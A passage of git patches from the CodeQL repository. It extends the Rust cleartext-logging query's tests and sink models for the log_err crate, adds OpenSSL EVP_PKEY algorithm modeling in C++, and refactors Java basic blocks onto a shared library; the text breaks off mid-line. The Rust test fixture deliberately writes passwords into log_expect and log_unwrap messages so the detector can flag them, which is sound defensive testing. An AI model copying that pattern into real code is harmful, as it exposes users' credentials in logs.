MacroExpr | test_logging.rs:87:5:87:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:87:36:87:43 | password | test_logging.rs:87:20:87:43 | MacroExpr | provenance | | | test_logging.rs:94:9:94:10 | m1 | test_logging.rs:95:11:95:28 | MacroExpr | provenance | | | test_logging.rs:94:14:94:22 | &password | test_logging.rs:94:9:94:10 | m1 | provenance | | | test_logging.rs:94:15:94:22 | password | test_logging.rs:94:14:94:22 | &password | provenance | Config | -| test_logging.rs:95:11:95:28 | MacroExpr | test_logging.rs:95:5:95:29 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:95:11:95:28 | MacroExpr | test_logging.rs:95:5:95:29 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:97:9:97:10 | m2 | test_logging.rs:98:11:98:18 | MacroExpr | provenance | | | test_logging.rs:97:41:97:49 | &password | test_logging.rs:97:9:97:10 | m2 | provenance | | | test_logging.rs:97:42:97:49 | password | test_logging.rs:97:41:97:49 | &password | provenance | Config | -| test_logging.rs:98:11:98:18 | MacroExpr | test_logging.rs:98:5:98:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:98:11:98:18 | MacroExpr | test_logging.rs:98:5:98:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:100:9:100:10 | m3 | test_logging.rs:101:11:101:18 | MacroExpr | provenance | | | test_logging.rs:100:14:100:46 | res | test_logging.rs:100:22:100:45 | { ... } | provenance | | | test_logging.rs:100:22:100:45 | ...::format(...) | test_logging.rs:100:14:100:46 | res | provenance | | | test_logging.rs:100:22:100:45 | ...::must_use(...) | test_logging.rs:100:9:100:10 | m3 | provenance | | -| test_logging.rs:100:22:100:45 | MacroExpr | test_logging.rs:100:22:100:45 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:100:22:100:45 | { ... } | test_logging.rs:100:22:100:45 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:100:22:100:45 | MacroExpr | test_logging.rs:100:22:100:45 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:100:22:100:45 | { ... } | test_logging.rs:100:22:100:45 | ...::must_use(...) | provenance | MaD:17 | | test_logging.rs:100:38:100:45 | password | test_logging.rs:100:22:100:45 | MacroExpr | provenance | | -| test_logging.rs:101:11:101:18 | MacroExpr | test_logging.rs:101:5:101:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:119:12:119:41 | MacroExpr | test_logging.rs:119:5:119:42 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:101:11:101:18 | MacroExpr | test_logging.rs:101:5:101:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:119:12:119:41 | MacroExpr | test_logging.rs:119:5:119:42 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:12:119:41 | MacroExpr | provenance | | | test_logging.rs:130:9:130:10 | t1 [tuple.1] | test_logging.rs:132:28:132:29 | t1 [tuple.1] | provenance | | | test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | test_logging.rs:130:9:130:10 | t1 [tuple.1] | provenance | | | test_logging.rs:130:25:130:32 | password | test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | provenance | | -| test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:132:28:132:29 | t1 [tuple.1] | test_logging.rs:132:28:132:31 | t1.1 | provenance | | | test_logging.rs:132:28:132:31 | t1.1 | test_logging.rs:132:12:132:31 | MacroExpr | provenance | | +| test_logging.rs:171:33:171:79 | &... | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:171:33:171:79 | &... [&ref] | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... | provenance | Config | +| test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... [&ref] | provenance | | +| test_logging.rs:171:34:171:79 | res | test_logging.rs:171:42:171:78 | { ... } | provenance | | +| test_logging.rs:171:42:171:78 | ...::format(...) | test_logging.rs:171:34:171:79 | res | provenance | | +| test_logging.rs:171:42:171:78 | ...::must_use(...) | test_logging.rs:171:34:171:79 | MacroExpr | provenance | | +| test_logging.rs:171:42:171:78 | MacroExpr | test_logging.rs:171:42:171:78 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:171:42:171:78 | { ... } | test_logging.rs:171:42:171:78 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:42:171:78 | MacroExpr | provenance | | +| test_logging.rs:175:35:175:81 | &... | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:175:35:175:81 | &... [&ref] | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... | provenance | Config | +| test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... [&ref] | provenance | | +| test_logging.rs:175:36:175:81 | res | test_logging.rs:175:44:175:80 | { ... } | provenance | | +| test_logging.rs:175:44:175:80 | ...::format(...) | test_logging.rs:175:36:175:81 | res | provenance | | +| test_logging.rs:175:44:175:80 | ...::must_use(...) | test_logging.rs:175:36:175:81 | MacroExpr | provenance | | +| test_logging.rs:175:44:175:80 | MacroExpr | test_logging.rs:175:44:175:80 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:175:44:175:80 | { ... } | test_logging.rs:175:44:175:80 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:44:175:80 | MacroExpr | provenance | | +| test_logging.rs:182:9:182:19 | err_result3 [Err] | test_logging.rs:183:13:183:23 | err_result3 [Err] | provenance | | +| test_logging.rs:182:47:182:60 | Err(...) [Err] | test_logging.rs:182:9:182:19 | err_result3 [Err] | provenance | | +| test_logging.rs:182:51:182:59 | password2 | test_logging.rs:182:47:182:60 | Err(...) [Err] | provenance | | +| test_logging.rs:183:13:183:23 | err_result3 [Err] | test_logging.rs:183:25:183:34 | log_unwrap | provenance | MaD:11 Sink:MaD:11 | | test_logging.rs:187:12:187:37 | MacroExpr | test_logging.rs:187:5:187:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | | test_logging.rs:187:30:187:37 | password | test_logging.rs:187:12:187:37 | MacroExpr | provenance | | | test_logging.rs:188:14:188:37 | MacroExpr | test_logging.rs:188:5:188:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | @@ -183,37 +210,37 @@ edges | test_logging.rs:203:34:203:66 | res | test_logging.rs:203:42:203:65 | { ... } | provenance | | | test_logging.rs:203:34:203:75 | ... .as_str() | test_logging.rs:203:27:203:32 | expect | provenance | MaD:1 Sink:MaD:1 | | test_logging.rs:203:42:203:65 | ...::format(...) | test_logging.rs:203:34:203:66 | res | provenance | | -| test_logging.rs:203:42:203:65 | ...::must_use(...) | test_logging.rs:203:34:203:75 | ... .as_str() | provenance | MaD:12 | -| test_logging.rs:203:42:203:65 | MacroExpr | test_logging.rs:203:42:203:65 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:203:42:203:65 | { ... } | test_logging.rs:203:42:203:65 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:203:42:203:65 | ...::must_use(...) | test_logging.rs:203:34:203:75 | ... .as_str() | provenance | MaD:15 | +| test_logging.rs:203:42:203:65 | MacroExpr | test_logging.rs:203:42:203:65 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:203:42:203:65 | { ... } | test_logging.rs:203:42:203:65 | ...::must_use(...) | provenance | MaD:17 | | test_logging.rs:203:58:203:65 | password | test_logging.rs:203:42:203:65 | MacroExpr | provenance | | | test_logging.rs:209:36:209:70 | res | test_logging.rs:209:44:209:69 | { ... } | provenance | | | test_logging.rs:209:36:209:81 | ... .as_bytes() | test_logging.rs:209:30:209:34 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:209:44:209:69 | ...::format(...) | test_logging.rs:209:36:209:70 | res | provenance | | -| test_logging.rs:209:44:209:69 | ...::must_use(...) | test_logging.rs:209:36:209:81 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:209:44:209:69 | MacroExpr | test_logging.rs:209:44:209:69 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:209:44:209:69 | { ... } | test_logging.rs:209:44:209:69 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:209:44:209:69 | ...::must_use(...) | test_logging.rs:209:36:209:81 | ... .as_bytes() | provenance | MaD:14 | +| test_logging.rs:209:44:209:69 | MacroExpr | test_logging.rs:209:44:209:69 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:209:44:209:69 | { ... } | test_logging.rs:209:44:209:69 | ...::must_use(...) | provenance | MaD:17 | | test_logging.rs:209:62:209:69 | password | test_logging.rs:209:44:209:69 | MacroExpr | provenance | | | test_logging.rs:210:40:210:74 | res | test_logging.rs:210:48:210:73 | { ... } | provenance | | | test_logging.rs:210:40:210:85 | ... .as_bytes() | test_logging.rs:210:30:210:38 | write_all | provenance | MaD:6 Sink:MaD:6 | | test_logging.rs:210:48:210:73 | ...::format(...) | test_logging.rs:210:40:210:74 | res | provenance | | -| test_logging.rs:210:48:210:73 | ...::must_use(...) | test_logging.rs:210:40:210:85 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:210:48:210:73 | MacroExpr | test_logging.rs:210:48:210:73 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:210:48:210:73 | { ... } | test_logging.rs:210:48:210:73 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:210:48:210:73 | ...::must_use(...) | test_logging.rs:210:40:210:85 | ... .as_bytes() | provenance | MaD:14 | +| test_logging.rs:210:48:210:73 | MacroExpr | test_logging.rs:210:48:210:73 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:210:48:210:73 | { ... } | test_logging.rs:210:48:210:73 | ...::must_use(...) | provenance | MaD:17 | | test_logging.rs:210:66:210:73 | password | test_logging.rs:210:48:210:73 | MacroExpr | provenance | | | test_logging.rs:213:15:213:49 | res | test_logging.rs:213:23:213:48 | { ... } | provenance | | | test_logging.rs:213:15:213:60 | ... .as_bytes() | test_logging.rs:213:9:213:13 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:213:23:213:48 | ...::format(...) | test_logging.rs:213:15:213:49 | res | provenance | | -| test_logging.rs:213:23:213:48 | ...::must_use(...) | test_logging.rs:213:15:213:60 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:213:23:213:48 | MacroExpr | test_logging.rs:213:23:213:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:213:23:213:48 | { ... } | test_logging.rs:213:23:213:48 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:213:23:213:48 | ...::must_use(...) | test_logging.rs:213:15:213:60 | ... .as_bytes() | provenance | MaD:14 | +| test_logging.rs:213:23:213:48 | MacroExpr | test_logging.rs:213:23:213:48 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:213:23:213:48 | { ... } | test_logging.rs:213:23:213:48 | ...::must_use(...) | provenance | MaD:17 | | test_logging.rs:213:41:213:48 | password | test_logging.rs:213:23:213:48 | MacroExpr | provenance | | | test_logging.rs:216:15:216:49 | res | test_logging.rs:216:23:216:48 | { ... } | provenance | | | test_logging.rs:216:15:216:60 | ... .as_bytes() | test_logging.rs:216:9:216:13 | write | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:216:23:216:48 | ...::format(...) | test_logging.rs:216:15:216:49 | res | provenance | | -| test_logging.rs:216:23:216:48 | ...::must_use(...) | test_logging.rs:216:15:216:60 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:216:23:216:48 | MacroExpr | test_logging.rs:216:23:216:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:216:23:216:48 | { ... } | test_logging.rs:216:23:216:48 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:216:23:216:48 | ...::must_use(...) | test_logging.rs:216:15:216:60 | ... .as_bytes() | provenance | MaD:14 | +| test_logging.rs:216:23:216:48 | MacroExpr | test_logging.rs:216:23:216:48 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:216:23:216:48 | { ... } | test_logging.rs:216:23:216:48 | ...::must_use(...) | provenance | MaD:17 | | test_logging.rs:216:41:216:48 | password | test_logging.rs:216:23:216:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | @@ -224,12 +251,15 @@ models | 6 | Sink: lang:std; ::write_all; log-injection; Argument[0] | | 7 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | | 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | -| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | -| 10 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | -| 11 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | -| 12 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | -| 13 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | -| 14 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | +| 9 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | +| 10 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | +| 11 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_unwrap; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | +| 12 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | +| 13 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | +| 14 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | +| 15 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | +| 16 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | +| 17 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | nodes | test_logging.rs:43:5:43:36 | ...::log | semmle.label | ...::log | | test_logging.rs:43:12:43:35 | MacroExpr | semmle.label | MacroExpr | @@ -352,6 +382,31 @@ nodes | test_logging.rs:132:12:132:31 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:132:28:132:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | | test_logging.rs:132:28:132:31 | t1.1 | semmle.label | t1.1 | +| test_logging.rs:171:22:171:31 | log_expect | semmle.label | log_expect | +| test_logging.rs:171:33:171:79 | &... | semmle.label | &... | +| test_logging.rs:171:33:171:79 | &... [&ref] | semmle.label | &... [&ref] | +| test_logging.rs:171:34:171:79 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:171:34:171:79 | res | semmle.label | res | +| test_logging.rs:171:42:171:78 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:171:42:171:78 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:171:42:171:78 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:171:42:171:78 | { ... } | semmle.label | { ... } | +| test_logging.rs:171:70:171:78 | password2 | semmle.label | password2 | +| test_logging.rs:175:24:175:33 | log_expect | semmle.label | log_expect | +| test_logging.rs:175:35:175:81 | &... | semmle.label | &... | +| test_logging.rs:175:35:175:81 | &... [&ref] | semmle.label | &... [&ref] | +| test_logging.rs:175:36:175:81 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:175:36:175:81 | res | semmle.label | res | +| test_logging.rs:175:44:175:80 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:175:44:175:80 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:175:44:175:80 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:175:44:175:80 | { ... } | semmle.label | { ... } | +| test_logging.rs:175:72:175:80 | password2 | semmle.label | password2 | +| test_logging.rs:182:9:182:19 | err_result3 [Err] | semmle.label | err_result3 [Err] | +| test_logging.rs:182:47:182:60 | Err(...) [Err] | semmle.label | Err(...) [Err] | +| test_logging.rs:182:51:182:59 | password2 | semmle.label | password2 | +| test_logging.rs:183:13:183:23 | err_result3 [Err] | semmle.label | err_result3 [Err] | +| test_logging.rs:183:25:183:34 | log_unwrap | semmle.label | log_unwrap | | test_logging.rs:187:5:187:38 | ...::_print | semmle.label | ...::_print | | test_logging.rs:187:12:187:37 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:187:30:187:37 | password | semmle.label | password | diff --git a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs index 6202bcaa2f4b..d22453cbb3a4 100644 --- a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs +++ b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs @@ -168,19 +168,19 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { // test `log_expect` on `Option` with sensitive message let none_opt: Option = None; - let _ = none_opt.log_expect(&format!("Failed with password: {}", password2)); // $ MISSING: Alert[rust/cleartext-logging] + let _ = none_opt.log_expect(&format!("Failed with password: {}", password2)); // $ Alert[rust/cleartext-logging] // test `log_expect` on `Result` with sensitive message let err_result: Result = Err(""); - let _ = err_result.log_expect(&format!("Failed with password: {}", password2)); // $ MISSING: Alert[rust/cleartext-logging] + let _ = err_result.log_expect(&format!("Failed with password: {}", password2)); // $ Alert[rust/cleartext-logging] // test `log_expect` with sensitive `Result.Err` let err_result2: Result = Err(password2.clone()); let _ = err_result2.log_expect(""); // $ MISSING: Alert[rust/cleartext-logging] // test `log_unwrap` with sensitive `Result.Err` - let err_result3: Result = Err(password2); - let _ = err_result3.log_unwrap(); // $ MISSING: Alert[rust/cleartext-logging] + let err_result3: Result = Err(password2); // $ Source=err_result3 + let _ = err_result3.log_unwrap(); // $ Alert[rust/cleartext-logging]=err_result3 } fn test_std(password: String, i: i32, opt_i: Option) { From 6ffb049b750dad968c57539ce1a502f88e464825 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Tue, 20 May 2025 14:18:33 -0400 Subject: [PATCH 249/535] Crypto: Adding alg value consumers for EVP PKEY for openssl. As part of the additional modeling, updated the generic dataflow source to match JCA with how "EC" is handled as a consumed algorithm for PKEY. --- cpp/ql/lib/experimental/quantum/Language.qll | 23 +++++++- .../OpenSSLAlgorithmValueConsumers.qll | 1 + .../PKeyAlgorithmValueConsumer.qll | 57 +++++++++++++++++++ 3 files changed, 80 insertions(+), 1 deletion(-) create mode 100644 cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll diff --git a/cpp/ql/lib/experimental/quantum/Language.qll b/cpp/ql/lib/experimental/quantum/Language.qll index db9737cf152d..ab3ce039cc5c 100644 --- a/cpp/ql/lib/experimental/quantum/Language.qll +++ b/cpp/ql/lib/experimental/quantum/Language.qll @@ -1,5 +1,5 @@ private import cpp as Language -import semmle.code.cpp.dataflow.new.DataFlow +import semmle.code.cpp.dataflow.new.TaintTracking import codeql.quantum.experimental.Model module CryptoInput implements InputSig { @@ -86,6 +86,27 @@ module GenericDataSourceFlowConfig implements DataFlow::ConfigSig { } } +module GenericDataSourceFlow = TaintTracking::Global; + +private class ConstantDataSource extends Crypto::GenericConstantSourceInstance instanceof Literal { + ConstantDataSource() { + // TODO: this is an API specific workaround for OpenSSL, as 'EC' is a constant that may be used + // where typical algorithms are specified, but EC specifically means set up a + // default curve container, that will later be specified explicitly (or if not a default) + // curve is used. + this.getValue() != "EC" + } + + override DataFlow::Node getOutputNode() { result.asExpr() = this } + + override predicate flowsTo(Crypto::FlowAwareElement other) { + // TODO: separate config to avoid blowing up data-flow analysis + GenericDataSourceFlow::flow(this.getOutputNode(), other.getInputNode()) + } + + override string getAdditionalDescription() { result = this.toString() } +} + module ArtifactUniversalFlowConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source = any(Crypto::ArtifactInstance artifact).getOutputNode() diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll index f6ebdf5c8c45..c76d6d6f041c 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll @@ -4,3 +4,4 @@ import DirectAlgorithmValueConsumer import PaddingAlgorithmValueConsumer import HashAlgorithmValueConsumer import EllipticCurveAlgorithmValueConsumer +import PKeyAlgorithmValueConsumer diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll new file mode 100644 index 000000000000..879af7cbe6cd --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll @@ -0,0 +1,57 @@ +import cpp +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.LibraryDetector +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances + +abstract class PKeyValueConsumer extends OpenSSLAlgorithmValueConsumer { } + +class EVPPKeyAlgorithmConsumer extends PKeyValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPPKeyAlgorithmConsumer() { + resultNode.asExpr() = this.(Call) and // in all cases the result is the return + isPossibleOpenSSLFunction(this.(Call).getTarget()) and + ( + // NOTE: some of these consumers are themselves key gen operations, + // in these cases, the operation will be created separately for the same function. + this.(Call).getTarget().getName() in [ + "EVP_PKEY_CTX_new_id", "EVP_PKEY_new_raw_private_key", "EVP_PKEY_new_raw_public_key", + "EVP_PKEY_new_mac_key" + ] and + valueArgNode.asExpr() = this.(Call).getArgument(0) + or + this.(Call).getTarget().getName() in [ + "EVP_PKEY_CTX_new_from_name", "EVP_PKEY_new_raw_private_key_ex", + "EVP_PKEY_new_raw_public_key_ex", "EVP_PKEY_CTX_ctrl", "EVP_PKEY_CTX_set_group_name" + ] and + valueArgNode.asExpr() = this.(Call).getArgument(1) + or + // argInd 2 is 'type' which can be RSA, or EC + // if RSA argInd 3 is the key size, else if EC argInd 3 is the curve name + // In all other cases there is no argInd 3, and argInd 2 is the algorithm. + // Since this is a key gen operation, handling the key size should be handled + // when the operation is again modeled as a key gen operation. + this.(Call).getTarget().getName() = "EVP_PKEY_Q_keygen" and + ( + // Ellipitic curve case + // If the argInd 3 is a derived type (pointer or array) then assume it is a curve name + if this.(Call).getArgument(3).getType().getUnderlyingType() instanceof DerivedType + then valueArgNode.asExpr() = this.(Call).getArgument(3) + else + // All other cases + valueArgNode.asExpr() = this.(Call).getArgument(2) + ) + ) + } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } +} From f202586f5e734b41d6e8cf598418d19a8974bd4f Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 16 May 2025 11:04:07 +0200 Subject: [PATCH 250/535] Java: Use the shared BasicBlocks library. --- java/ql/lib/qlpack.yml | 1 + .../code/java/controlflow/BasicBlocks.qll | 129 +++++++++--------- .../code/java/controlflow/Dominance.qll | 39 +----- .../semmle/code/java/controlflow/Guards.qll | 4 +- .../code/java/controlflow/SuccessorType.qll | 25 ++++ .../java/controlflow/internal/GuardsLogic.qll | 6 +- .../semmle/code/java/dataflow/Nullness.qll | 4 +- .../code/java/dataflow/RangeAnalysis.qll | 2 +- .../code/java/dataflow/internal/BaseSSA.qll | 2 +- .../code/java/dataflow/internal/SsaImpl.qll | 4 +- .../rangeanalysis/SsaReadPositionSpecific.qll | 2 +- .../semmle/code/java/security/Validation.qll | 2 +- .../Likely Bugs/Concurrency/UnreleasedLock.ql | 8 +- .../codeql/controlflow/BasicBlock.qll | 8 +- 14 files changed, 117 insertions(+), 119 deletions(-) create mode 100644 java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index d34620678ba1..8e1e06ab6b5d 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -6,6 +6,7 @@ extractor: java library: true upgrades: upgrades dependencies: + codeql/controlflow: ${workspace} codeql/dataflow: ${workspace} codeql/mad: ${workspace} codeql/quantum: ${workspace} diff --git a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll index c2f9e8a6a697..7521d627742c 100644 --- a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll +++ b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll @@ -4,18 +4,69 @@ import java import Dominance +private import codeql.controlflow.BasicBlock as BB -cached -private module BasicBlockStage { - cached - predicate ref() { any() } +private module Input implements BB::InputSig { + import SuccessorType - cached - predicate backref() { - (exists(any(BasicBlock bb).getABBSuccessor()) implies any()) and - (exists(any(BasicBlock bb).getNode(_)) implies any()) and - (exists(any(BasicBlock bb).length()) implies any()) + /** Hold if `t` represents a conditional successor type. */ + predicate successorTypeIsCondition(SuccessorType t) { none() } + + /** A delineated part of the AST with its own CFG. */ + class CfgScope = Callable; + + /** The class of control flow nodes. */ + class Node = ControlFlowNode; + + /** Gets the CFG scope in which this node occurs. */ + CfgScope nodeGetCfgScope(Node node) { node.getEnclosingCallable() = result } + + private Node getASpecificSuccessor(Node node, SuccessorType t) { + node.(ConditionNode).getABranchSuccessor(t.(BooleanSuccessor).getValue()) = result + or + node.getAnExceptionSuccessor() = result and t instanceof ExceptionSuccessor + } + + /** Gets an immediate successor of this node. */ + Node nodeGetASuccessor(Node node, SuccessorType t) { + result = getASpecificSuccessor(node, t) + or + node.getASuccessor() = result and + t instanceof NormalSuccessor and + not result = getASpecificSuccessor(node, _) } + + /** + * Holds if `node` represents an entry node to be used when calculating + * dominance. + */ + predicate nodeIsDominanceEntry(Node node) { + exists(Stmt entrystmt | entrystmt = node.asStmt() | + exists(Callable c | entrystmt = c.getBody()) + or + // This disjunct is technically superfluous, but safeguards against extractor problems. + entrystmt instanceof BlockStmt and + not exists(entrystmt.getEnclosingCallable()) and + not entrystmt.getParent() instanceof Stmt + ) + } + + /** + * Holds if `node` represents an exit node to be used when calculating + * post dominance. + */ + predicate nodeIsPostDominanceExit(Node node) { node instanceof ControlFlow::ExitNode } +} + +private module BbImpl = BB::Make; + +import BbImpl + +/** Holds if the dominance relation is calculated for `bb`. */ +predicate hasDominanceInformation(BasicBlock bb) { + exists(BasicBlock entry | + Input::nodeIsDominanceEntry(entry.getFirstNode()) and entry.getASuccessor*() = bb + ) } /** @@ -24,71 +75,27 @@ private module BasicBlockStage { * A basic block is a series of nodes with no control-flow branching, which can * often be treated as a unit in analyses. */ -class BasicBlock extends ControlFlowNode { - cached - BasicBlock() { - BasicBlockStage::ref() and - not exists(this.getAPredecessor()) and - exists(this.getASuccessor()) - or - strictcount(this.getAPredecessor()) > 1 - or - exists(ControlFlowNode pred | pred = this.getAPredecessor() | - strictcount(pred.getASuccessor()) > 1 - ) - } +class BasicBlock extends BbImpl::BasicBlock { + /** Gets the immediately enclosing callable whose body contains this node. */ + Callable getEnclosingCallable() { result = this.getScope() } /** Gets an immediate successor of this basic block. */ - cached - BasicBlock getABBSuccessor() { - BasicBlockStage::ref() and - result = this.getLastNode().getASuccessor() - } + BasicBlock getABBSuccessor() { result = this.getASuccessor() } /** Gets an immediate predecessor of this basic block. */ BasicBlock getABBPredecessor() { result.getABBSuccessor() = this } - /** Gets a control-flow node contained in this basic block. */ - ControlFlowNode getANode() { result = this.getNode(_) } - - /** Gets the control-flow node at a specific (zero-indexed) position in this basic block. */ - cached - ControlFlowNode getNode(int pos) { - BasicBlockStage::ref() and - result = this and - pos = 0 - or - exists(ControlFlowNode mid, int mid_pos | pos = mid_pos + 1 | - this.getNode(mid_pos) = mid and - mid.getASuccessor() = result and - not result instanceof BasicBlock - ) - } - - /** Gets the first control-flow node in this basic block. */ - ControlFlowNode getFirstNode() { result = this } - - /** Gets the last control-flow node in this basic block. */ - ControlFlowNode getLastNode() { result = this.getNode(this.length() - 1) } - - /** Gets the number of control-flow nodes contained in this basic block. */ - cached - int length() { - BasicBlockStage::ref() and - result = strictcount(this.getANode()) - } - /** Holds if this basic block strictly dominates `node`. */ - predicate bbStrictlyDominates(BasicBlock node) { bbStrictlyDominates(this, node) } + predicate 